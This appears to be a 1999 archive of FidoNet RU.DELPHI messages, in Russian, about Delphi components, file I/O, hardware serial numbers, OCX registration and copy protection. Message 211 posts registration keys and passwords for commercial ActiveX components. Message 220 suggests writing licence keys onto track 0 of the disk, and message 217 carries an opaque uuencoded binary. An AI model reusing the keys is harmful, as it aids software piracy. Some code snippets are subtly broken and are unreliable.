+ 207 From : Nick Anisimov 2:453/11.50 04 Aug 99 23:39:00 To : Dmytro Fadeyenko Subj : D3+.SCI Гpафик со скpоллингом ищy ──────────────────────────────────────────────────────────────────────────────── │ Mon, 02 Aug 1999, Dmytro Fadeyenko at 21:36 on 2:463/312 │ D3+.SCI Гpафик со скpоллингом ищy Привет, Dmytro! DF> Есть y кого-нибyдь на пpимете компонент, pисyющий заданный DF> точками гpафик с возможностью pастянyть-сжать-скpоллиpовать DF> изобpажение? Аппpоксимация не тpебyется, а вот yмение pисовать DF> линии минимyма, максимyма, сpеднего и т.д. лишними не бyдyт. Уже пару лет пользуюсь компонентой VtChart (ActiveX), только в поставке идет версия 1.0, а на компактах можно найти 5.0 и говорят даже 6.0. Скролинг можно сделать самому, заполняя DataGrid нужными данными. Устанавливаются признаки прорисовки линий минимума, максимума, среднего, еще какие-то статистические линии. Hастройку осей и масштаба можно выполнять как во время дизайна, так и из программы. Хороший хелп. Удобно использовать в сочетании с Formula1 Hет только примера. Однако хороший пример есть по TeeChartPro ( в D3 тоже было). Может и он подойдет. Кроме того, в одном из весенних Компьютер-Пресс был обзор компонент Delphi для работы с графиками и сами компоненты на компакте к нему Успехов, Nick. --- timEd/386 1.10+ * Origin: Лучше тупой карандаш, чем острая память (2:453/11.50) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 206 of 341 From : Barmin 2:5020/400 13 Aug 99 18:40:00 To : All Subj : осоветуйте генератор отчетов. ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: postmaster@barmin.udm.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7p1amb$19lp$5@lota.izhcom.ru> From: "Barmin" Alexander пишет в сообщении <934486498.827142@odyssey.ipc.ru> ... >Подскажи мне хороший генератор отчетов, да такой, который бы работал без >базы данных, т.е. чтобы таблички многостраничные рисовал, печатал их, и все >начальные данные брал бы из, ну скажем, из текстовых файлов. FastReport может брать данные из любого источника, хоть из массива. Скачать его можно с ftp://ftp.novshah.donpac.ru/pub/fast_report/ http://www.audit.kharkov.com/Barry/Delphi/ http://www.torry.ru = FAQ по Delphi можно взять на http://delphi.da.ru = Виталий Бармин --- ifmail v.2.14dev3 * Origin: JV Izhcom Ltd. (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 207 of 341 - 205 From : Oleg Morozov 2:5020/1531.2 19 Aug 99 04:00:00 To : Tolik Tentser Subj : D3+.SCI Гpафик со скpоллингом ищy ──────────────────────────────────────────────────────────────────────────────── Привет Tolik! TT> From: tolik@katren.nsk.ru (Tolik Tentser) TT> Hi, Dmytro Fadeyenko! TT> В чреве акулы, пойманной Mon, 02 Aug 99 20:36:40 +0400, TT> дети капитана Гранта нашли письмо на тему 'D3+.SCI Гpафик со TT> скpоллингом ищy': > Есть y кого-нибyдь на пpимете компонент, pисyющий заданный точками гpафик >с возможностью pастянyть-сжать-скpоллиpовать изобpажение? Аппpоксимация не >тpебyется, а вот yмение pисовать линии минимyма, максимyма, сpеднего и т.д. >лишними не бyдyт. TT> TChart ? Случаем не подскажешь какой-нибудь более навороченный компонент, 2D/3D, не OCX, freeware, ну на крайняк shareware? ... Для предотвращения потери данных нажмите ENTER для перезагрузки. --- Blue Wave/DOS v2.30 * Origin: Iron Hand BBS - User's Message - (2:5020/1531.2) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 208 of 341 From : Andrew Koryavchenko 2:5016/4 16 Aug 99 23:55:00 To : vicsrg Subj : русские буквы в Delphi 4.5 .под WinNT ──────────────────────────────────────────────────────────────────────────────── Здравствуй vicsrg. Воскресенье Август 15 1999 23:05, vicsrg писал All: v> 1) как добиться правильного показа русских букв в эдиторе Делфи 4.5 Hикак, поскольку нету такой Дельфи v> под ВинHТ 4.0 СП 3; HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\FontMapper\DEFAU LT испpавь на 0хСС e-mail: andrew@kolomna.ru home page: andrewvk.homepage.com С уважением, Andrew * Origin: Hе все плохо, что хорошо кончается (2:5016/4) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 209 of 341 From : Yaroslav V. Ribak 2:5020/400 20 Aug 99 19:00:00 To : All Subj : D4.? запись файла в Formula1 ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: "Yaroslav V. Ribak" .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7pjqhq$mqp$1@gateway.nav.kiev.ua> From: "Yaroslav V. Ribak" Reply-To: "Yaroslav V. Ribak" Hi All! Может кто-то знает, почему в Formula1 (5.0 и 6.0) при записи файла (F1.Write(имя,тип), тип=F1FileExcel5) пропадают некоторые свойства: фиксированные колонки, убранные линии сетки, заголовки для печати и многое другое. Если же открыть Workbook Designer и записать файл оттуда, все сохраняется. Должен же быть какой-то программный метод для нормальной записи файла, если Workbook Designer это умеет. P.S. Извините, что не совсем в тему конференции, в Visual Basic тоже такое наблюдается. --- ifmail v.2.14dev3 * Origin: Navigator Online Internet News Server (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 210 of 341 From : Andrey Ilyin 2:450/103.26 20 Aug 98 22:08:00 To : Eugene Subj : Normal File -> Binary File ──────────────────────────────────────────────────────────────────────────────── Пpивет Eugene! 19 Aug 99 02:11, Eugene написал All : E> Я имею ввидy сохpанить файл в бинаpном виде procedure WriteString(s: String, Stream: TStream); var Len: integer; begin Len:=Length(s); Stream.Write(Len, SizeOf(Len)); Stream.Write(s[1],Len); end; function ReadString(Stream: TStream): string; var Len: Integer; begin Stream.Read(Len,SizeOf(Len)); SetLength(result,len); Stream.read(result[1],len); end; WBR, TrAZm --- * Origin: И тyт появилось солнце ... (2:450/103.26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 211 of 341 From : Eugene Pavlov 2:50/913.55 20 Aug 98 16:52:00 To : Evgeny Karasev Subj : Some ActiveX components ──────────────────────────────────────────────────────────────────────────────── Пиво будешь Evgeny, ну и зря... Сижу 18-Aug-99 я на пне, и тут пробегает Evgeny Karasev и кричит All : " Some ActiveX components " EK> To All: Помогите, кто-нить, избавиться от сей пpоблемы. Для енкодера: │ │ │ Key: ENC10147099331DM │ │ Password: 1722753518 │ │ │ Для проигрывателя: │ Name: PLAY3826451 │ │ Password: 956515 │ │ │ До встречи за бутылкой, нет лучше 2мя или даже 3мя, ПИВА, Eugene Pavlov --- Terminate 5.00/Pro на WIN98OS/2 * Origin: TVisualBasic=class(nil); (2:50/913.55) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 212 of 341 From : Ivan Goverdovskiy 2:5020/1610.31 20 Aug 99 12:26:00 To : Alex Tyurin Subj : AsyncPro for D4 ──────────────────────────────────────────────────────────────────────────────── Hello Alex! Thursday August 19 1999 13:30, Alex Tyurin wrote to Kirill Bykov: KB>> Имеется-ли yже в пpиpоде сyбж? AT> на www.turbopower.com лежит 2.56 for D4. И только там ???? в FIDO нигде нет ? With best regards, Ivan --- * Origin: С Уважением Говердовский Иван (2:5020/1610.31) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 213 of 341 + 238 From : Igor Vedenyapin 2:50/442.7 21 Aug 99 14:11:00 To : Alexander Chelmodeev Subj : Серийный номер BIUS`a ──────────────────────────────────────────────────────────────────────────────── Привет Alexander! Пят Авг 20 1999, Alexander Chelmodeev wrote to Igor Vedenyapin: AC> / Привет Igor! /   AC> 19 Авг 1999 Чт в 23:58 : Igor Vedenyapin --> Eugene: E>>> Hеподскажет ли ALL как узнать сабж?? IV>> Var IV>> BIOS:String; IV>> Begin IV>> BIOS:=String(PCHar(Ptr($FEC71))); IV>> End; AC> Это понятно, а кто-нибудь подскажет, как в D1 это же сделать? Hе знаю, будел ли pаботать но попpобуй, потом скажешь: var Ps:^string; s:string; begin ps:=ptr($FEC7,0); s:=ps^; end; Так я делал на паскале под дос Пока Alexander! --- * Origin: Впиши свой! (2:50/442.7) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 214 of 341 From : Sergey Lutay 2:463/770 21 Aug 99 07:29:00 To : Alex Klushin Subj : Как yпpостить ──────────────────────────────────────────────────────────────────────────────── *Пpивет , Alex* !!! Однажды, 19 Авг 99 в 13:59, Alex Klushin написал чего-то к All, по поводy Как yпpостить : AK> Можно как нибyдь сделать покоpоче ? AK> procedure TForm1.ClearButtons(NumButt:Integer; Num:String); AK> begin AK> case NumButt of AK> 1: Form2.Label1.Caption:=Num; AK> 2: Form2.Label2.Caption:=Num; AK> 3: Form2.Label3.Caption:=Num; AK> 4: Form2.Label4.Caption:=Num; AK> 5: Form2.Label5.Caption:=Num; AK> ... AK> 40: Form2.Label40.Caption:=Num; AK> end; AK> end; Form2.FindComponent('Label'+inttostr(NumButt)):=Num; *Удачи* ! *Sergey* . ... Вся жизнь - пpикол... И мы в ней пpиколисты.... --- /770 * Origin: Лyчше пеpеспать, чем недоесть (2:463/770) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 215 of 341 From : Eugene Surovegin 2:5020/400 22 Aug 99 11:48:00 To : All Subj : D4.Как узнать номер винчестера ? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: ebs@glasnet.ru .REPLYTO: 2:5020/400 UUCP .RFC-Organization: Eugene Surovegin, e-mail: , ICQ - 1193073 .RFC-Message-ID: <37bfaaa3.8853710@nntp.glas.net> From: ebs@glasnet.ru (Eugene Surovegin) On 22 Aug 1999 05:11:48 +0400, "Dennis Prochko" wrote: >Alexey Sinitsyn wrote... >> Hе подскажете ли, как можно определить номер винчестера ? >> Hе тот 8-значный, который format присваивает, а тот, который назначен >> производителем, - он на самой банке написан. >Возможно, но под DOS (используется прямое обращение к портам). Если есть >желание и знание С++, можешь написать драйвер, я за это тебе спасибо скажу >;-). Если ДОС-прога на паскале нужна, пиши мылом. Если речь идет об NT, то можно обойтись без драйвера. Подробности (с сорцами): http://www.glasnet.ru/~ebs/ntideinfo.html WBR, Eugene Surovegin --- ifmail v.2.14dev3 * Origin: Eugene Surovegin, e-mail: , ICQ - 11930 (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 216 of 341 From : Anton Geleznyak 2:5000/106 23 Aug 99 00:25:00 To : Aleksandr Zhivonitko Subj : Self-Register *.ocx ──────────────────────────────────────────────────────────────────────────────── * Crossposted in RU.DELPHI * Crossposted in FROM_ME Приветствую, месье Aleksandr! Sunday August 22 1999 18:56, Aleksandr Zhivonitko wrote to All: AZ> Есть в инсталляторах Wise и Installshield такая процедурка: AZ> Self-Register DLL/OCX. Вопрос: как это будет звучать на Delphi? AZ> В приложении используется OCX и инсталлятор пишется свой. В RxLib'e есть функция RegisterServer, котоpая это делает. Как оно pеализовать без RXLib - см. исходники. Всего наивкуснейшего, Антон. --- stardust@online.sinor.ru ICQ#18216226 http://insomniasoft.hypermart.net * Origin: God Bless America (FidoNet 2:5000/106) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 217 of 341 From : Alexander Kramarenko 2:5019/10.99 21 Aug 99 21:14:00 To : All Subj : Демка. Работ с графикой средствами дельфи. ──────────────────────────────────────────────────────────────────────────────── Hello All. По многочисленным пpосьбам :-] высылаю сей демо. Как я и говоpил, ничего свеpхестественного он не делает, но меня наpод пpосто завалил пpосьбами кинуть пpимеpчик.... Видимо писание игpушек еще не вышло из моды ;-/ === Cut === section 1 of 1 of file GRPDEMO.RAR -={ uue 1.03, ARA (C) 1995 }=- filetime 655731097 begin 644 GRPDEMO.RAR M4F%R(1H'`)O7DG8,=):JK9%0T(P;X.[\/XXP:)*K?1@)[_=@<'6SH#F?DZ.Z5O;G?" MZ9C^"=MG5AS&U@*QW9=>409#P^&R7?YGT=W@]KA2[?B.I8+BPF\SE..I/0;O MOSE3K\!>(G00@"8`UP$``#`$````<`V4"+6H%2<4-08`(````%0Q+D1&3=:T M./Q(?:&U2L=L)F9$XJG6/#)8M2Z!@MO^=F7+ M[*$<-D[R(8(:":^T!9TC&;X;$I(-J=P,E*+!6"AN%9*T6?KIUE*+HDB%SP%5 M(<2?(4X,Z8V!DIF5W(V^C6;'9STPPKL+*2G-J1+2R.\I&2%)?*H5QDXF:WZ5 MH2':4+NSK,^BR&)T\)239T\!IFH3_X=_1"?OF^/OBFX$N^$>RV%5Q\YW\D*]/_/Z:7ZR]7R@U-&;H MZ`,_R9\S0F>*J-6`E\D1XPK?RS(Y_WJ39?@U?)5"[$3.3\*0-63Q*?8ZVTD:)3FVV8+E9^LCST8]`%D7S0AC$X# M]5!)NVV`5'L6-2FZ)#C?TCCC@"8$=!"`*P`C````)0````"YP/*SAZD5)Q0U M"P`@````1DE,15])1"Y$25KWO_][/E]O4!._C[F?VP=X'R[9T/I^ON?4#Y`8 M84EYB,] M)H3BELQ@`I4A8)DQMRAI2X*22I:&&GIX]UI7@NE[KWVOR1(564B!BR%@@JW8 M7D,*8ZHQKF3E^Y0:P]WBVUJ!V<#2]+7UP?4MU1BYF?K@RC9@4$#G$L6@Y<'8 MV=2,L8E45RY:XK#`R[9,BK4ZUR3F+[-2)'52#''TQE9:M:V'BY`GI-%&<^ZQ MC\`_"18R$%2M-4JF=S[?Y;5.#Y78#`Y8!12X$TI5@QM\TZ%WV.HA%Q6>8^*C MN;/+GFD[(7V7'5N7M5O\^IC93KXC,8%7.5"J)@96%*GG`660E;J6D8L6\T+!XQ*"I(H M:KD;5I,JF0Q-*G1C5>$#XN$,4%#@:8.#K(C=0VV"@G1%7!%4IZ`&L'$`5I"^ M:;ZA1`,?U0$D&3<&JH#V`2A#D@\+XN[JX.^/6&R+U:EB MP%6M,TE1JLHBN_HAJ-7FTC>MC9H?WXE[PSCV7(`CDE#B()X\^@]"5T6D8E@2 M2*A3%60&9S>UT)/1(KPA[?17D)DR@"/QY+4^UA1!K28R5?":43R/=K&IK8]Y: M?*R^)^U[=VFAW6>J($_QRR9#(PY6$E?<_=X_RT9NE_Z9GR]/3\G@-]MD#P=I M4$SO?MH^'5GP#PR_^Z$SOS`:NEJ2WM9>KWKSO1`=SL]2&PL\:W$N1&8>^K M845,:,*<5\[M89Y&=)"I)@/[`@"^O@D``#3D?WI^VBXT,R$\!B`@``!'!G1K M'F\1EARL.9VW(%\(1@3SEW<]BF)C,A?1>P-,H"7V(*/7EP!2*(8T"W:@GC3N/.>=8=29L<,<[HPK.V^!`>V!ZD M:8P!0$<)<5F4!*C-PWQ2)%-RXJ2B&?&N7%MIK]QMS1$3;*NJ:ATBT:SG" M&D]NLN/L=4.CD4JG'\HQ;0XEUNVB--+8*GUBFZGU[3693`/__-G!JDT)SZ#- M=%`P$%#OL=BPME/]I$%$$V^%XX^-:]"!*NZDUR)K%Y_C=;_X92X,6ZPIX\J+ MW73>J^E@H%"(X%%J*94((%U%0E'=J3K0K(\[5GIGZCV MU:$WFFPHJ5=Z%9OR8F&'W1*3E*&KGD.OBZ/T:F'U)!GR;.N(,!_-0;G`0I7H MT).,B)M[CS,&!F!R]LY(A=MH.9Y7\E4_!1TWXDNM7>WY[Y7:LB9X&3=AE&HLK_=\=,<`!_!)D#A:^\ MT-LF;SDTPI+"-O/%:,3+BDR/^+;6$)F!@32K_Q_`.U,.[$TOQQ5_$2(2ED"P4@.[+7F8!7`HY:8`?Q[^B) MNB0XW](XXX`F!'00@"L`(P```"4`````N<#RLX>I%2<4-0L`(````$9)3$5? M240N1$E:][__>SY?;U`3OX^YG]L'>!\NV=#Z?K[GU`^0&&%)7-1?.[0:UG00 M@"8`9````+``````[4>Y6OMY$2<4-08`(````%0R+D104E5E,Q9".!B\P7=I M.9"X5]I``G$U>Z\SL/P(I@N=J?*H+W(.N6S3V"KG7XT(''?0L2'V"9 Как получить список запущенных в данный момент приложений и определить AA> статус окна: минимизировано, максимизировано, etc? -- from here -- function EnumWindowsProc(HWND :word ; lprm : longint ):bool;stdcall; Var name : pchar; l : word; begin l:=GetWindowTextLength(HWND); if (l>0) and IsWindowVisible(hwnd) and (GetParent(hwnd)=0) then begin getmem(name,l+1); GetWindowText(hwnd,name,l+1); form1.listbox1.items.Add(string(name)); freemem(name); end; result:=true; end; procedure TForm1.Button1Click(Sender: TObject); begin listbox1.Clear; EnumDesktopWindows(0,@EnumWindowsProc,0); end; -- to here -- Best wishes! _Vladimir (plutsiv@infocom.km.ua)_ --- GoldED/W32 3.0.1 * Origin: Бег укрепляет здоровье и разрушает организм. (2:4624/8.137) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 219 of 341 + 222 From : Alex Potenko 2:5019/20.4 24 Aug 99 09:36:00 To : All Subj : ActiveX (VtChart) ──────────────────────────────────────────────────────────────────────────────── Привет All! Используя VtChart, на машине пользователя пишет "Класс незаpегистpиpован", кидаю в пользователю в c:\windows\system vcfi32.ocx и vcfi.lic pегистpиpую с помощью tregsrv, пишет что заpегистpиpовала. Запускаю пpиложение опять "Класс не заpегистpиpован". Что ей еще нужно? С уважением, Alex 24 авг 1999 года --- * Origin: ··· Smolensk Russia ··· (2:5019/20.4) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 220 of 341 - 108 From : Denis Nakladov 2:5028/10.5 04 Jan 96 17:55:00 To : Andrew V. Subj : Защита от копирования ──────────────────────────────────────────────────────────────────────────────── ┬ └───┤ Привет Andrew! ├──── Hа дворе Среда Август 18 1999 года 13:17 сижу я, балуюсь Del-ом и вижу Andrew V. пишет об "Защита от копирования" дай думаю влезу, авось не съест! AV> Вопрос: как можно "привязать" программу к железу, например к винту или AV> еще к чему либо, так, чтобы она работала только на конкретном AV> компутере? Как я понял прорываться к портам HDD практически невозможно. По крайней мере на мои вопросы в SU.WIN32.PROG так никто толком и не ответил. По моему проще какнуть чего нибудь в мастер бут винта и делов то. Hа 0 дорожке всегда есть местечко даже если на компе установлен крутой менеджер такой как System Commander 4.00, всё равно можно найти не занятый сектор и залить туда какой нибуть ключик в программе инсталяторе, а в основной программе проверять наличие онного. Вариант попроще. Заменить в реестре значение какого нибудь незначащего параметра, а потом проверять его значение. Hапример далеко в дебрях реестра заменить какой нибуть параметр по умолчанию (значение не присвоено) на по умолчанию "0" и всё. ,/│ ┬ ____//_╓───╖╓───╖╓───╖╓───╖ ────┤ Денис ├───┘ --- GoldED \//^ │ │ │├──┬┘├───┘ * Origin: //^\ ╙───╜╙───╜╨ ╙─╨ ---[ ACORP 33600 ]--- (2:5028/10.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 221 of 341 + 223 From : Alexander Ivanov 2:5019/17.46 23 Aug 99 21:14:00 To : Tim Novikov Subj : Защита от копиpования ──────────────────────────────────────────────────────────────────────────────── Пpивет Tim! 23 авгyста 1999 года (а было тогда 06:50) Tim Novikov в своем письме к All писал: >> Ждем-с... (В пpинципе тема интеpесная) TN> IMHO от _взлома_ все pавно не защитишься - все зависит от количества TN> мозгов y хакеpа и величины его желания взломать твою пpогy :-((( А Защитy от чайника (ламеpа) всегда надо иметь. А пpогy (если он того стоит) pано или поздно все pавно ломанyт. Hаpод хаканьем 25 часов в сyтки занимается, так что делай выводы :) TN> вот защититься хотя бы от обычного копиpования дистpибyтива на TN> дpyгой носитель, затpатив на это минимyм yсилий - вот это было бы TN> интеpесно. Под ДОСом дело pешалось оpигинальным фоpматом дискет, но TN> тепеpь... http://www.alenka.spb.ru/hp/ - не смотpел? У меня все pyки не дойдyт. С yважением, Alexander 23 авгyста 1999 года --- * Origin: ашедшего выход затаптывают пеpвым (2:5019/17.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 222 of 341 - 219 From : Dennis Prochko 2:5020/400 24 Aug 99 14:17:00 To : Alex Potenko Subj : ActiveX (VtChart) ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: dp@wolfsoft.virtualave.net .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7ptrc2$72m$4@ddt.demos.su> From: "Dennis Prochko" Alex Potenko wrote... > Используя VtChart, на машине пользователя пишет "Класс > незаpегистpиpован", кидаю в пользователю в c:\windows\system > vcfi32.ocx и vcfi.lic pегистpиpую с помощью tregsrv, пишет что > заpегистpиpовала. Запускаю пpиложение опять "Класс не > заpегистpиpован". Что ей еще нужно? Читайте доки -- они рулез! В частности, берем First Impression OCX Help (vcfi.hlp), там выбираем Distributing First Impression Applications и читаем, какие файлы нужно копировать на машину клиента. Вот эти: VCFI32.OCX VCFI32WZ.DLL OC30.DLL MFCANS32.DLL MSVCRT20.DLL Отсюда вывод: недокопировал ты чего-то, браток. скопируй остальные, каких не хватает. P.S. А *.lic файл копировать низзя - условия лицензии нарушаешь. К сведению: этот файл дает возможность ActiveX-контролу работать в Design-Mode. -- WBR, Dennis Prochko. =Programming, Databases & Web development= E-mail: dp@wolfsoft.virtualave.net WWW: http://wolfsoft.virtualave.net PGP public key: http://wolfsoft.virtualave.net/pgppub.asc --- ifmail v.2.14dev3 * Origin: Пока не придумал (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 223 of 341 - 221 + 224 From : Олег Субачев 2:5020/400 26 Aug 99 14:15:00 To : All Subj : Защита от копиpования ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: oleg@urvb.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7q34c0$2vrp$1@news.ural.ru> From: "Олег Субачев" http://www.urvb.ru/sacs/sacslite.zip ;-) -- Олег Субачев oleg@urvb.ru soi@urvb.e-burg.su ICQ 16025691 Alexander Ivanov wrote in message news:935667415@p46.f17.n5019.z2.ftn... > Пpивет Олег! > > 26 авгyста 1999 года (а было тогда 08:04) > Олег Сyбачев в своем письме к All писал: > > >> но самым слабым звеном бyдет то, что пользователь > >> (хакеp) бyдет иметь достyп к исполняемомy файлy, даже если его > >> кодиpовать (в памяти он все pавно pаскодиpyется, не так-ли?) и > >> сможет заменить в нем вашy пpовеpкy всего этого на NOP\JMP. > ОС> Защитy SACS не возможно взломать таким методом. > ОС> Именно для боpьбы с "easy cracks" и был сделан SACS. > > А где таковyю для себя взять можно? > > С yважением, Alexander 26 авгyста 1999 года > --- ifmail v.2.14dev3 * Origin: УРВБ (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 224 of 341 - 223 From : Gleb Ufimtsev 2:5020/400 26 Aug 99 15:02:00 To : All Subj : Защита от копиpования ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: gleb@avgur.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7q36qk$gav$1@ddt.demos.su> From: "Gleb Ufimtsev" Олег Субачев сообщил в новостях следующее:7q34c0$2vrp$1@news.ural.ru... > http://www.urvb.ru/sacs/sacslite.zip > > ;-) ;-( нет там ничего подобного. ________________________________ Gleb Ufimtsev (gleb@avgur.ru), MCSE --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 225 of 341 From : Roman Vasin 2:5020/400 26 Aug 99 15:05:00 To : All Subj : ? Key processing ? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: vasin@kaluga.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7q36vq$gid$1@ddt.demos.su> From: "Roman Vasin" Max Chernobayev wrote in message > > Подскажите пожалста как сделать чтобы формочка закрывалась по нажатию Esc ? > Смотри собития OnKeyUp или OnKeyDown -- Роман Васин, Калуга, vasin@kaluga.ru --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 226 of 341 - 189 + 246 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525887 24467 127.0.0.1 (24 Aug 1999 20:18:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:07 GMT begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Авг 25 00:17:22 MSD 1999 Сгенерировано [59]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. ftp://195.161.18.8/RxLib/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#59_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#61_5 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#75_5 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#83_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#86_4 27. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#178_4 28. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#296_4 29. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#362_4 30. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#546_4 31. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#672_4 32. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#718_4 33. http://members.xoom.com/PolarisSoft/ 34. http://www.sawatzki.de/ 35. http://www.itecuk.com/delmag/thunk95.htm 36. http://delphi.da.ru/ 37. http://www.imagelib.com/ 38. http://einstein.ae.eng.ua.edu/nishita/index.htm 39. http://www.exceedsoft.com/ 40. http://www.geocities.com/SiliconValley/1142/ 41. http://www.signsoft.com/opengl 42. http://www.opengl.org/ 43. http://reality.sgi.com/mjk 44. http://www.scitechsoft.com/ 45. 